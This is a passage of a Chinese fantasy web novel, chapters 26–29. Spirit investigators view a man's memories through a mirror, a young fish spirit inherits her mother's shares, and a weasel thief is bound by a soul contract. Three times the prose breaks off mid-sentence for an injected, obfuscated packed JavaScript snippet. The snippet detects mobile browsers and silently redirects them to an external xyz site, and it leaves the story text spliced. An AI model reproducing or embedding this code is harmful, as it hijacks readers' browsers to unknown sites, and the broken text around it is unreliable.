秦巡看到这里时,脸色已然十分难看,他黑沉沉的眼底情绪翻涌着,骤然打断:“小鱼,能不能把这个画面停下?” 他发现这个画面从这里开始回忆的时候就是自动播放,根本停不下来。 余一安面色有些为难:“一旦开始回忆,至少会持续一刻钟。” 刚刚的画面大概过了五分钟,也就是说镜子里面的画面还要持续整整十分钟! 秦巡顿时眼前一黑。 他一把抓起镜子揣进兜里,尝试将镜中还在不停播放着的画面藏起来:“那我先回去,等结束了我再拿过来。” 说完不等两人反应,他拿着镜子像是落荒而逃一样离开了江元白家里。 余一安看向默不作声的江元白,她没太懂秦巡为什么跑了:“他怎么了?” 江元白本来眉心皱起,双眼忽明忽暗不知在想些什么,听到这句话时瞧了她一眼,半晌后叹了口气:“没事,他尿急。” 余一安闻言不明所以,这里不是有卫生间,为什么还要跑回去呢? 不过她更关心另一个问题:“刚刚那个是秦巡的妈妈和妹妹吗?” “是。” “那秦巡是他们收养的吗?” 江元白有些讶异,神色有些微妙:“怎么这么说?” 连这条傻鱼都能看出来异常,那这对于情绪向来敏锐的小秦巡来说该有多难受。 “我娘亲最生气的时候都不会这样看我。”余一安不知道为什么有些为秦巡难过。 这个眼神就像是……大祭司看除了娘亲和她以外的妖怪一样。 “她的妈妈好像不在乎他。” 余一安想了半天,最后得出了这个结论。 江元白盯着她,半天后又叹了口气:“把这件事忘掉,就当作没发生过。” 余一安忽然像是有些明白什么似的地点了点头。 十分钟后,秦巡准时回来了。 他的表情如常,像是刚才只是有事出去了一趟一样。 他像往常一样笑着:"我们刚刚说到哪了?" 余一安想起江元白刚才的话,努力让自己装作什么都没发生的样子:“说把镜子给那个酒吧老板用。” 江元白在一旁附和地点点头。 秦巡看到恍若他们无事发生的样子,顿时在心里松了口气。 还没等他说话,余一安像是想起什么一样补充道:“那个镜子一年只能用三次,现在只剩下两次了。” 秦巡顿时感觉有些死机:所以他刚刚拿一次宝贵的机会换了自己一次脚趾扣地的瞬间。 对于那些画面揭开自己童年创伤什么倒是其次的,最主要的还是这些画面展现在熟人面前的尴尬。 尤其还是每天需要见面的同事。 虽然已经知道自己想要知道的事了,但是秦巡在那十分钟一想起来这个场景就抠出来了好几栋海景房。 他刚刚在被窝里一想到等会还要面对现实时,就恨不得直接去找苍阳华辞职。 26. 出门的妖怪 “这样子真的行吗?” 秦巡正在专注地剪辑刚刚拍下来的视频,余一安在一旁盯着他的动作,语气中带着些犹疑。 由于有规定不能在普通人类面前展现出超自然能力,但又需要罗珲在那面镜子前回忆他当时看到的画面,经过反复讨论后,他们想出了个办法。 他们想出来的办法就是通过线上视频和罗珲进行远程交流,同时将提前拍摄剪辑过的视频导入进去,而他们把镜子放在有罗珲视频画面的屏幕面前,这样子就能够在不暴露能力的情况下达成他们的目的。 不过这个计划还是有一定的不可控因素,其中最重要的是他们并不能确保通过屏幕能够使这面镜子发挥作用。 毕竟以前从来没有人这样子用过。 不过鉴于实践是检验真理的唯一标准,所以他们决定先尝试一下。 在此之前他们已经约好了罗珲在下午三点的视频会面时间。 “没事,对方发现不了的。” “你不知道每年有多少人被这玩意骗的。” 秦巡对自己的技术十分自信,他眼睛注视着屏幕,头也不转地对余一安说道。 见秦巡都这样说了,余一安也就放下了心。 从小在山上长大的她,对人类社会的科技技术并不是很了解。 很快时间来到了约定好的时间。 秦巡检查过程序,确保一切准确无误后,对着江元白做了个手势。 江元白扫他一眼:“你哑巴了?” 秦巡听到这句话有些不乐意了:“你难道不觉得这样交流很酷吗?” “就像电视剧里面的神秘组织一样。” 江元白并不觉得:“没有。” 余一安却关注着另外一个点:“电视剧是什么?” 又是一个她从未听过的词。 因为有事在身,秦巡三言两语给她解释着:“就是一种真人出演的长篇故事,分成很多集供人观看。” 见余一安不是很明白,他补充了句:“就类似是你上次看到那个科普片,不过电视剧是真人演绎的故事剧集。” 这时江元白出声催促,时间已经差不多了。 于是秦巡说了句“下次放给你看”后,赶紧回到自己的位置待好。 一切准备就绪,江元白凝神屏气,让自己杂乱的思绪平静下来后,点击了发起视频。 对面接得很快,大概已经等待了一会儿了。 罗珲的脸出现在了屏幕上,余一安虽然已经知道会出现这样的情况,但是在看到自己见过的人栩栩如生地出现在里面时还是“刷”一下瞪大了眼。 罗珲率先十分热情地打了个招呼。 秦巡见状赶紧把事先商量好的其中一段视频上传上去。 他们先前根据罗珲会有的反应准备了好几个不同版本的视频。 视频上传后,他们目光紧紧锁定在屏幕上,有些紧张地观察着罗珲的反应。 还好对方似乎并没有发现他看到的画面是提前录制的,很快话题就非常顺利地到了他们重点关注的地方。 在录制视频中的江元白提出要求对方再次回忆一下的时候,罗珲虽然面上看着些为难,但最终还是答应了。 江元白示意了下余一安,见状余一安赶紧手忙脚乱地举起了镜子,将镜子正面朝着屏幕内罗珲的脸。 众人的目光霎时紧紧锁定在镜面上,只感觉心跳加速,手心冒汗,大气都不敢喘一下。 随着屏幕内罗珲的回忆,镜子缓缓泛起了波澜,模糊的画面出现在了上面。 几人顿时大舒一口气,紧绷的肌肉终于松懈了下来。 成功了。 只要开始了,镜中的回忆就会持续十五分钟,在此之后他们只需要将镜内画面录制下来,并且将罗珲应付过去。 他们赶紧按照之前做好的计划分步行动,秦巡负责解决罗珲,江元白和余一安负责观察记录画面里面的内容。 趁着画面还未清晰,他们赶紧把镜子放到先前准备好的地方。 这里他们提前架了一个摄像机,能够将镜内的内容清楚地录入进去。 放置好后,他们在一旁开始观看罗珲的回忆,而秦巡还在电脑旁应付对面的罗珲本人。 画面开始是罗珲正在浏览自己的朋友圈,能够看到罗珲的手机里一条条清晰的动态呈现在他们面前。 掠过一大堆的自拍晒娃美食风景照片后,他们终于看到了想看的内容。 一个备注“刘于”的人发的三张自拍照。 照片上的人脸占了整张照片三分之二的地方,看上去是个三十岁左右的人,眼型狭长,额角有一小块不太明显的瘢痕。 背景似乎在一栋比起罗珲的别墅来说更加金碧辉煌的房间内。 这三张照片十分相似,只是照片上的人表情有些微的不同。 在看到照片的那一瞬间,江元白瞳孔骤缩,视线紧紧锁定在照片的人上面。 这个人,他好像见过! 凭借着良好的记忆力,江元白想起来在他三岁的时候,他曾经看到过这个人和他妈妈交谈过。 而且,他清晰地记得,这张照片上的不是人,而是一个妖怪。 一个乌鸦原型的妖怪。 这个妖怪竟然在二十年前就在人类社会行走了。 要知道妖族允许妖怪们在申请后可以下山的规定是在十五年前颁布的,也就是妖怪协会刚成立后不久的时间。 虽然早有所料,但是看到的时候江元白还是有点吃惊。 所以这个妖怪,和他妈妈是什么关系? 江元白沉下眼,陷入了沉思。 这时秦巡终于结束视频通话的秦巡走了过来:“怎么样,有发现了吗?” 听到声音,江元白抬起头,浅浅颔首:“嗯。” 余一安见他过来,抬起头高兴到:“看到了!” “不过白白说他是个妖,但是我没有见过他。” 秦巡一愣,转头问江元白:“你咋知道那是个妖怪?” 江元白干脆将自己知道的都讲了出来,看他们的反应。 “我去!”秦巡发出一声惊叹,“这么巧?” “还能找到他吗?” 江元白摇摇头:“但是那已经是二十年前的事情了。” 看到那个妖怪的时候他才三岁,如今他都已经二十三岁了。 “不过我们都已经有照片了,先试试能不能找到这个妖怪吧。”秦巡建议道。 江元白同意了他的看法:“我们分别从人界和妖族两边分开下手。” “不过不要大张旗鼓,”他强调道,“人界这边,秦巡你亲自去调查,联系公安那边进行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444691|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数据库对比,试试能不能把他在人类里面的身份找出来。” 他说完又转头看向认真听他们说话的余一安:“你给妖族大祭司写封信,把照片附进去,问问有没有关于这个乌鸦妖的记录。” “好。” “记得提醒对方不要声张。” 江元白又嘱咐了一句,他觉得妖族那边鱼龙混杂,极有可能有对方的内应。 见余一安一脸郑重地答应了,江元白才缓和了下严肃的面部肌肉:“那今天就先这样,有结果后我们再来进行汇报。” 他也需要一点时间整理一下自己的思路。 …… 一个小时后,江元白看着去而复返的余一安,诧异道:“怎么了?” 余一安把一张写着字的纸条放到他面前,睁着圆溜溜的眼睛问他:“白白,你知道这个地方在哪里吗?” 江元白一愣,把纸条接了过来,看着上面写着“维多利亚花室”几个字。 字迹一笔一划,稚拙圆润,一眼就能看出是谁写的。 他抬眼看向对方:“你要去这里?” 维多利亚花室是本市一个比较著名的地方,这里本来是一个小型植物园,后来被一位富豪收购,改造成了一个专属的私人花室。 “嗯嗯,”余一安点点头,表情略有些苦恼地对对方解释:“我要去这个地方,但是不知道怎么去。” 江元白打量了她一眼,心里有些纳闷:按理来说这条傻鱼在人类社会也没啥认识的人,怎么突然就指定要去一个地方。 而且还是一个禁止其他人进入的私人场所。 不过他也没多问,毕竟这算是对方的隐私。 沉吟片刻,他开口道:“算了,我带你去吧。” 主要是他觉得他要是不跟着的话,对方估计能把自己弄丢。 他可不想到时候半夜起来去找鱼。 江元白非常顺利地说服了自己。 余一安闻言,倒是挺开心的,毕竟有人带她去总比自己找路好。 “好呀好呀,”她弯眼笑嘻嘻道,“白白你真好!” 江元白眼神游移了一小点弧度,没有说话。 半个多小时后,江元白踩了刹车,对后座的余一安道:“到了。” “是这里吗?” 余一安看着窗外远处巨大的玻璃建筑,有些惊奇,她还从来没见过这种建筑。 “哇!”她感慨着,“这个房子好好看!” 江元白闻言也超窗外看去,他久听维多利亚花室盛名,却也是第一次看到它的外表。 纯白色的金属框架,水晶宫般的透明宫殿穹顶,夕阳倾斜下来,整座建筑如同一枚巨大的琥珀,透着一种流动的暖色。 想到这是别人的私人地盘,江元白又淡淡地收回了目光。 万恶的有钱人。 他要是有钱,绝对不会建这种只能看不能用,还只会吞钱的玩意。 这么大个花室不进行盈利,只供私人观赏,非常明显每天都需要付出大量的金钱来维持正常运转。 “你去吧,我在外面等你。” 他对已经下车的余一安说道。 “好哒!”余一安对他挥挥手,咧开嘴露出一个灿烂的笑,然后朝着花房的地方跑了过去。 夕阳下,她头上的红绳飞扬,格外显眼。 27. 继承财产的妖怪 余一安一路畅通无阻走了进去,盛开的蔷薇花下,她看到了坐在那里的许漠。 昨天晚上,她在手机上看到了许漠发来的消息。 许漠说他那里有一些余若曾经留下来的东西,他想把那些东西一起还给余一安。 余一安不知道该怎么称呼许漠,论年纪她比他大,论辈分对方又认识她娘亲。 想了想,最终她朝着许漠挥了挥手,声音充满活力:“许先生!我来啦!” 许漠听到声音也转过了身,看向她来的方向,同样挥了挥手,露出一抹笑容:“下午好,小鱼。” 余一安从一旁的牵牛花架下搬过来一个小板凳,坐到许漠旁边,睁着亮晶晶的双眼望着对方。 还没等她开口,许漠就知道对方的意图,顿时有些失笑。 果然,下一秒就听到余一安开门见山地问道:“许先生,我娘亲的东西在哪里呀?” “我让秘书去拿了,”许漠双手撑在拐杖上,语气带着一种独属于长辈的温和,“你要不要先逛逛这里?” “有挺多人想来这里参观花室我都没同意呢。” 看着余一安一副兴趣缺缺,明显对花房没什么兴趣的样子,他话音一转:“这里可是你娘亲以前最喜欢的地方。” 只不过喜欢的是曾经的这里。 果然下一秒,余一安双眼“刷”地一下变亮,倏地直起身子:“我可以在这个地方逛逛吗?” 许漠哑然失笑,这条小鱼在面对感兴趣的东西时的反应像极了余若。 “要不要我陪你?” 余一安摇头:“我自己看看吧。” 她想自己看看娘亲在人类社会喜欢的地方是怎样的。 虽然她并不觉得余若会喜欢这种从上到下透出一股脆弱娇贵的地方。 但是许漠并没有必要骗她,她想也许是娘亲离开她的那几年里忽然变了口味。 毕竟并不是没有这种可能,她记得曾经山上有一只狗妖喜欢吃粑粑,但是自打从人类社会回来后再也没碰过了。 想了想,她乐呵呵地给许漠打了个招呼后,蹦蹦跳跳地朝着某个方向走去,一边还不忘左顾右盼地打量着这个娘亲喜欢过的地方。 不得不说,这个花室在土包子余一安看来也实在是漂亮。 花室大约在一开始建造时便经过提前规划,不同的区域根据位置的不同营造出不同的景色。 蜿蜒的步道引领视线,每个角度都能够看到如画般的景象。 万千种类、颜色的花朵在玻璃幕顶下肆意绽放,将无数花朵最动人的姿态完美呈现在观众面前。 要是江元白在这里估计又得一番羡慕嫉妒恨了。 余一安一路走走停停,最后到了花室的深处。 深处的花室不再有繁花盛开,而是一个如同热带雨林般的秘境。 浓密的绿意层层叠叠,蕨类植物伸展着宽大的叶片。 一踏进这里,余一安瞬间感觉闷闷的,空气都变得潮湿了。 她转了一周,还是没看出这个地方有什么奇特之处,能够成为她娘亲喜爱的地方。 “簌簌——” 一阵轻微的声音传来,余一安抬头望去,朝着声音发出的地方两三步飞窜了过去。 然而当她过去时,这里却一片寂静,只有一两片树叶缓缓飘落下来。 “奇怪,明明听到了声音。” 余一安挠挠头,想着应该是自己听错了,转身往回走去。 当拐角处隐入了她的背影后,一只憨头憨脑的黄鼠狼忽然从土里钻了出来,小小的爪子像人似的擦了把额角的汗。 “嘿嘿,逮到你啦!” 少女清脆的声音突兀地响起,黄鼠狼顿时僵硬着抬起头来。 两只绿豆大点的眼珠子就看到本该离开的余一安突然去而复返,正一脸好奇地盯着他看。 “!!!” 啊啊啊!! 他怎么记得在山上的时候,这条鱼不是脑子不大好使吗? 怎么突然变聪明了?! 余一安心里十分得意,她以前在小鹿儿山上偷吃时,温再玄往往会来逮她,这时她就会躲起来,等温再玄走后她再接着继续偷吃。 然后在她放松警惕的时候,温再玄往往会杀她个回马枪,直接抓她个妖赃并获。 次数多了后,她也学就会了这一招。 这时后边不远处有脚步的声音传来,余一安来不及反应,只好直接一把将还在一脸懵逼的黄鼠狼逮起来,塞进了自己的挎包里。 没一会,一个西装革履的年轻人出现在她的面前。 余一安之前见过他,是许漠的秘书,姓沈。 既然对方出现在这里,说明她娘亲的东西拿过来了。 余一安双眼一眨不眨地盯着他,语气兴奋:“是我娘亲的东西拿来了吗?” 沈秘书见到她,露出一个礼貌的笑容:“是的余小姐,麻烦你跟我去签署一下公证书。” “签署完做了公证后,余若女士留下的东西都归属你了。” “嗯嗯嗯!” 余一安也不知道是听到了还是没听到,小鸡啄米似的点着头。 没等沈秘书说完,她提起裙子就兴高采烈地往来时的方向跑走了,没一会儿就不见了踪影。 留在原地的沈秘书一脸怔愣:他刚刚是不是看到一个影子飞出去了? 等沈秘书赶到的时候,余一安和许漠已经等了许久了。 沈秘书轻喘一口气,擦了擦额角的汗,“不好意思,让你们久等了。” 他说话时还不着痕迹地扫了余一安一眼,眼里带着纳闷:这小姑娘怎么跑这么快的? 许漠轻轻颔首,这时一个近三十岁的男人走了进来,手上提着一个文件袋,看向许漠的眼神满是恭敬。 沈秘书为余一安介绍:“这是陈律师,这次专门来做公证见证人的。” “什么公证?” 余一安听得不是明白,一时间满脑子问号。 许漠在一旁自然解释道:“余若曾经投资过我的几个项目,她占了其中一部分股份。后来她忽然离开了,但是这些股份一直保留着,没有变动。” 陈律师在一旁笑呵呵地补充道:“以目前的市场估值来看,余若女士持有的这些股份价值应该相当可观。” 余一安问道:“是有很多钱吗?” “对的。” “哦。” 余一安闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15454718|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有些兴致缺缺,她对钱并不是很感兴趣。 想到这应该算是娘亲给她留下来的遗产,她又打起精神期待地看向许漠:“我娘亲还有留下别的东西吗?” 许漠一愣,回想了下后缓缓摇头:“大概是没有了。” 余一安顿时泄了气,总感觉自己这次白跑一趟。 许漠笑着安慰她:“可能你娘亲以前还落了什么东西,等我想起来就送给你。” “……好,”余一安郁闷了一会儿又恢复成了充满活力的模样,她对着许漠露出一个友善的笑:“谢谢你,许先生。” 她也不是不识好歹的妖,许漠能够地把这么一大笔财富保管这么久后,还能无私地归还给她,怎么也算是一个很好的人了。 她决定今天就正式任命许漠为世界第三好人类了。 其中第一理所当然是江元白,第二则是秦巡。 在接触这几天来,除了一开始的误会,她能够感受出来秦巡对她十分照顾。 她想,她要不要送个礼物给他们? 毕竟大祭司说过,一直享受别人的好是不行的,她也得用同样的好还回去。 沈秘书组织着余一安签署完财产转移公证书后,就带着文件和陈律师一起离开了。 只剩下余一安和许漠一同呆在一块。 余一安一步步挨过去,眼巴巴地盯着许漠:“许先生,能再给我说说我娘亲的事吗?” 上次自从许漠刚开了个头就匆匆打住,她就一直对这件事念念不忘。 许漠闻言怔了怔,下一秒露出他标志性的笑:“好啊。” “我们上次说到哪了来着?” 余一安眼睛一亮,张嘴需要开口时,沈秘书这会面带严肃,急匆匆地走了进来。 他在许漠耳边耳语了几句,许漠温和的神色骤然也严峻了起来。 沈秘书走了,许漠慢慢缓和了神色,有些歉意地看向余一安:“抱歉,我现在忽然有急事要办,下次我们再找个时间再谈吧。” 余一安眸光黯然了一瞬,虽然有些失望,但她还是摆摆手,一点也不介意地道:“没事的没事的。” “许先生你先去忙吧。” 余一安很快就想通了。 虽然这次没听到娘亲的故事,但是她还要在人类社会呆挺久,说不定下次就成功听到了呢。 许漠很快就走了,走之前让余一安自己随便逛逛。 余一安刚刚在花室逛了一圈,已经不太感兴趣,她径直按照来时的方向出了花室,门口看门的大爷似乎是不经意地看了她一眼。 余一安看回去时,对方已经收回了目光。 她挠挠头,就看到江元白正站着车旁,在他的旁边还有个穿着蓝色制服、戴大盖帽的人和他说些什么。 余一安一愣,下一秒脑中浮现出不久前秦巡讲过的话。 “就是人类社会里面管事儿的人。” “他们一般穿着制服戴大盖帽,你要是在外面被人欺负了的话也可以找他们。” 制服!大盖帽! 余一安上上下下扫视了一眼那个人,确定无误后霎时瞪大了眼。 心中陡然升起一个念头—— 白白!被人欺负了! 28. 愤怒的妖怪 余一安猛地将袖子一挽,朝着江元白的方向气势汹汹地大步走去。 作为全队最强战斗力,她可不能让白白被人欺负了去。 江元白在送走余一安后,本想找个停车位等她,结果他在附近转了四五圈,愣是没找到半个车位。 没办法,以防余一安出来的时候找不到他人,江元白只好绕着这条街道不停地兜圈子。 绕了十来圈的时候,他这一可疑的现象终于引起了附近一个保安的注意。 这片地区处于市中心,寸土寸金,招聘的保安人员也是真材实料,个个训练有素,工作态度更是一丝不苟。 江元白本来在盘算着每分钟白白烧掉的油钱,心痛得无以复加时,忽然一个穿着保安服的年轻人不由分说把他的车拦了下来。 刚好这样他有了正当理由把车停下来,也省了油钱,于是江元白十分自觉地将车停靠了边。 他刚在心里为自己机智的行为点了个赞,下了车正准备询问保安有什么事时,就看到一道金红色的身影风风火火地扑了过来! “白白!谁欺负你了?!我来帮你打回去!” 还没等江元白说话,清脆的嗓音就带着一股汹汹的气势冲到了他跟前。 江元白一愣,脑子一时间没反应过来,就看到余一安猛地一下挡在了他面前,露出一个圆溜溜的后脑勺,活像个护崽的老母鸡。 不是,他在想些什么? 江元白回过神,顿时对自己刚刚的想法有些无语。 保安本来是来查清状况的,见到这番场景一时半会也是丈二和尚摸不着脑袋。 江元白把“护崽”的余一安拉到一边,语气带着点无奈:“没有人欺负我。” 他觉得这条傻鱼很有可能是误会什么了。 “真的吗?” 余一安抬起头看着他,圆圆的大眼睛明晃晃地写着“不可以骗我”几个字。 “真的,”江元白有些好笑,同时心里也有几分疑惑,“为什么觉得我被欺负了?” 余一安半信半疑地瞧了他一眼,收起了戒备的姿态,但是依旧有些想不明白:“上次秦巡不是说,被欺负了要找警察叔叔。” “你没有被欺负,为什么要找警察叔叔?” 余一安忽然想起一个可能,眼睛一下子瞪得溜圆:“白白你欺负别人啦?” 江元白这下终于搞明白发生什么事了,他暗暗在心里把罪魁祸首骂了一遍,才轻声给余一安解释道:“有没有一种可能,人家不是警察呢。” 一旁的保安看着他们总感觉有些尴尬,他只是按规章办事,哪想到会闹这样的误会。 他憨厚地挠挠头:“那个,我只是想问一下,这位先生在附近绕那么多圈是在做什么?” 江元白其实也有点不自在,他解释道:“附近没有空的停车位。” 现在想起来,他这不停兜圈的行迹确实有点可疑,也难怪会引起保安的注意。 “原来是这样啊,”保安恍然大悟,知道自己误会了,连忙道歉:“实在对不住,打扰您了。” 江元白倒是不以为意,毕竟人家只是职责所在,他随意地摆了摆手:“没事,你也是按规矩办事,辛苦你了。” 待保安走远后,江元白转头看向一旁耷着脑袋、表情有些懊恼的某条小鱼,眼底不禁泛起几分笑意:“走吧,我们先回去。” 见江元白没有生气的样子,余一安瞬间充满了活力,她仰起头,眉飞色舞地问道:“那他不是警察的话,是什么呀?” “是保安。” 江元白头也不回地应道,顺手拉开了车门坐进去。 “保安是干嘛的?” 听到这个问题,江元白忽然想起来网上的一个梗。 “保安就是保卫一方平安。” 说完,他自己没忍住先笑了出来。 余一安没听太明白,但是看到江元白笑了,也乐呵呵地跟着一起笑了起来。 看上去傻乎乎的。 江元白视线通过后视镜看着对方脸蛋上的梨涡,心里这样想着。 …… 一人一妖刚到家门口,就看到秦巡急冲冲地朝江元白他们走了过来。 余一安看到秦巡眼睛一亮,有些开心地给他打了招呼。 “好巧!”秦巡看到他们也有些惊讶,“我正要找你们呢!” “出什么事了?” 见秦巡一脸火烧眉毛的模样,江元白眉头一跳:“案件有新状况?” “倒也不是,”秦巡想着刚刚收到的消息,赶紧给他们说道:“妖族刚才发了急件过来,说是他们看守不力,让黄鼠狼跑了。” 看他这表情,江元白追问道:“逃出结界了?” 秦巡点点头:“昨晚逃走的,估计现在已经出现在人界了。” 其实这件事说大不大说小不小,毕竟他们需要的情报已经到手,黄鼠狼逃不逃走对他们没太多影响。 余一安在一旁听着,总感觉自己忘记了什么。 她凝思苦恼地想着,她到底忘记什么了呢? “还有一件事,”秦巡依旧在说着要事,“妖族那边希望我们有余力的话,能够帮忙顺便把黄鼠狼找回来。” 妖族不太能够大规模出现在人类社会,尤其是高修为的大妖,这对人类也是一种威胁。 “我觉得这件事有点悬。” 秦巡给出评价。 就妖怪协会这破烂样,能运转全协会之力调查失踪案就已经有些吃力了。 江元白刚想说什么,就看到旁边的余一安忽然情绪变得有些兴奋,下一秒就看到她猛地举起手,声音掩不住激动:“等等,我知道黄鼠狼在哪里!” 她终于想起来自己忘记什么了! 余一安眉毛一扬,有些洋洋得意地从自己挎包里提出来个黄不拉几的东西。 “你们看!这是什么?” 她把手举得高高的,露出了她手中那东西的原貌,语气带着显摆。 她手里提着的,正是他们刚才讨论的那只黄鼠狼。 这只黄鼠狼被提着后颈肉悬在半空,两只爪子紧紧抱着一支伞盖上有好几个牙印的灵芝。 它像是没反应过来,正睁着一双迷茫的小眼睛盯着他们,肚子鼓鼓的,见他们看过来还“咕”地一下打了个嗝。 两人见状,还没来得及惊讶,就发现了什么,顿时表情有些一言难尽。 秦巡犹豫了一下,还是提醒道:“你要不要检查一下你的包,是不是少了什么东西?” 余一安有些不解,但还是听秦巡的话瞥了眼自己的挎包,就这一眼,她直接愣住了。 她揉了揉眼睛,下意识怀疑是自己看错了,不信邪地把自己的挎包举到眼前,翻来覆去看了好几次。 最后她盯着手中那只用爪子捂着脸、一脸心虚的黄鼠狼,不得不确认一个事实:她收藏的宝贝,好像全进了这只黄鼠狼的肚子? 余一安的脸一下子涨得通红,眼里充满了不敢置信,她把那只黄鼠狼拎到自己面前,杀气腾腾地凝视着对方:“是你干的吗?” 黄鼠狼本来想摇头否认,见她这副摸样,颤颤巍巍地,下意识点了点头。 下一秒它反应过来自己干了什么事情后,顿时一脸绝望地闭上了眼。 完了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15477525|168375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,吾命休矣。 “啊啊啊!”余一安一把掐住黄鼠狼的脸左右摇晃,“吐出来!你快给我吐出来呀啊啊——” 这里面的好多东西都是娘亲留给她的,她十几年来一直不舍得用,没想到竟然被这只该死的黄鼠狼造了近五分之一。 黄鼠狼被她摇得眼冒金星,爪子一松,啃剩的灵芝“啪嗒”一声掉在了地上。 “别晃了别晃了……”它有些晕头转脑,四爪乱蹬着,胡乱地开口,“我以后还给你就是了!” 黄鼠狼只感觉天旋地转,胃里翻江倒海,只感觉要吐出来了。 最要命的是,他之前刚才吃的东西还没炼化,要是真吐出来,不就都白吃了。 要知道他在妖族做了这么久的生意,一辈子都没吃过这么多天才地宝。 余一安最后还是停了下来,她握紧拳头,恶狠狠地盯着这只黄鼠狼:“你怎么赔?” 黄鼠狼有些晕乎乎地开口:“我以后给你干活行吧?” 他还是有点自知之明,凭他的本事估计穷极一生都还不上这些东西。 “你有什么用?” 余一安闻言更生气了,她瞪着它:“我要告诉大祭司,你偷我的东西吃!” 反正大祭司肯定不会让她吃亏的。 听到这句话,黄鼠狼瞬间脑子清醒了。 想到温再玄的手段,它小小的身躯顿时打了个寒战,绿豆大的眼珠子闪过一丝恐惧。 “别告诉他……”黄鼠狼顿时妥协了,它转了转眼珠子,好声好气地和余一安打着商量,“只要别告诉大祭司,你让我干什么都行。” 江元白这时候忽然开口道:“有一种契约名叫魂契,以双方鲜血为引。” “契约分主从二者,从者需遵从主令,若有违逆背叛,则血脉逆冲,七窍流血,五脏俱焚,最终魂飞魄散。” 黄鼠狼闻言惊惧地瞪大眼:这也太狠毒了吧? 余一安也有些惊异地看向江元白,眼神犹豫:是不是有点太过了? 江元白轻哼一声:“你算一下他吃了你多少东西?” “我看看,”余一安开始盘算着被这只黄鼠狼吃掉的东西有多少,口中开始了报数。 “十七株龙血草、六株紫灵芝、三株玄参……” “……” 随着她一件一件地说出来,黄鼠狼的脑袋越缩越紧,最后几乎要埋在肚皮里。 它有些欲哭无泪:他自己也想不他竟然吃了这么多。 “六瓶青莲子……” 说到最后,余一安抬起头,没忍住又瞪了眼缩着头的黄鼠狼:“还有一些东西,我不记得名字了,全被它吃了!” 江元白倒是挺吃惊,虽然知道这条鱼是个小富婆,但是听完这些后,他忽然想这哪里是小富婆,这根本就是富得流油。 要知道余一安刚才随便说的一样东西,放在人类社会里面,都是价值千万。 然而这么多东西,全进了这个黄鼠狼的肚子。 江元白不露痕迹地打量着有些瑟瑟发抖的黄鼠狼,眸色渐深。 怎么突然感觉单单魂契有点便宜这只妖怪了。 黄鼠狼:怎么感觉浑身一阵阴冷? 它忽然不小心把视线对上了面前那个男人,怔了怔,就看到对方对它扯出一个和善的笑容。 黄鼠狼知道那个恶毒的魂契就是这个人提出来的,没忍住抖了抖身子。 它终于看清现实,猛地一闭眼,四肢一摊,破罐子破摔道:“我同意那个魂契行了吧。” 他在心里安慰自己:跟着这条鱼妖混,其实也不太吃亏。 “等下——” 29. 签订契约的妖怪 一直没说话的秦巡开了口。 “我有一个问题,”他看着怂成一团的黄鼠狼,略带疑惑道:“要是他俩签了魂契,那妖族那边还需要把它还回去吗?” 黄鼠狼两只眼珠子转了转。 余一安本来都已经同意江元白的提议了,这听秦巡这么一说又有些犹豫住了。 江元白倒是有别的看法:“就算魂契成了后,也不影响妖族对它的问罪。” “只要留条命就好。” 江元白说得云淡风轻,黄鼠狼听到他的话却是没忍住抖了两下爪子。 余一安点点头,心想好像也有道理。 “不管怎么说,”江元白看向余一安,“他偷吃了你的东西,这件事是事实。” “至于怎么处理它,决定权还是在于你。” 他摊了摊手:“我的建议只是个参考。” 黄鼠狼见状,想到温再玄,再看看余一安,对比下根本不需要做选择,立马急急冲他们道:“我愿意签那个契约,真的!” 余一安没理它,又看了眼自己的瘪掉许多的小宝库:好气哦。 她做了决定:“那就签了契约再问问大祭司怎么处理他吧。” 江元白和秦巡都觉得没有问题。 毕竟干了坏事总要付出代价的。 黄鼠狼却是一下子瘫软了四肢,一脸死相,欲哭无泪:怎么感觉这个结果更惨了。 秦巡乐呵呵开口:“那我去联系会长了。” 也不知道妖族那边的信号基站什么时候修好。 这样子传信真的很麻烦。 虽然他只负责跑腿,传信的事都是苍阳华在干,因为只有苍阳华才有和妖族沟通的渠道。 秦巡走后,江元白这时候才发现,他们刚才一直在走廊里谈话。 江元白:后知后觉的尴尬袭上了我。 他轻咳一声,看向还在暗暗瞪着黄鼠狼、觉得尚不解气的余一安:“我们先进去说吧。” “我先洗个澡,你先在这坐一会,我很快就出来。” 余一安乖乖点点头,继续专注着摆弄手上的黄鼠狼,试图研究能不能让它把吃进去的东西吐出来。 半个多小时后,江元白擦着头发出来时,发现自己的手机屏幕亮着——贺守隔了几天终于发了消息。 鲜红的红点里写着99+。 江元白眉心一跳,并不是很愿意想打开对方的消息框。 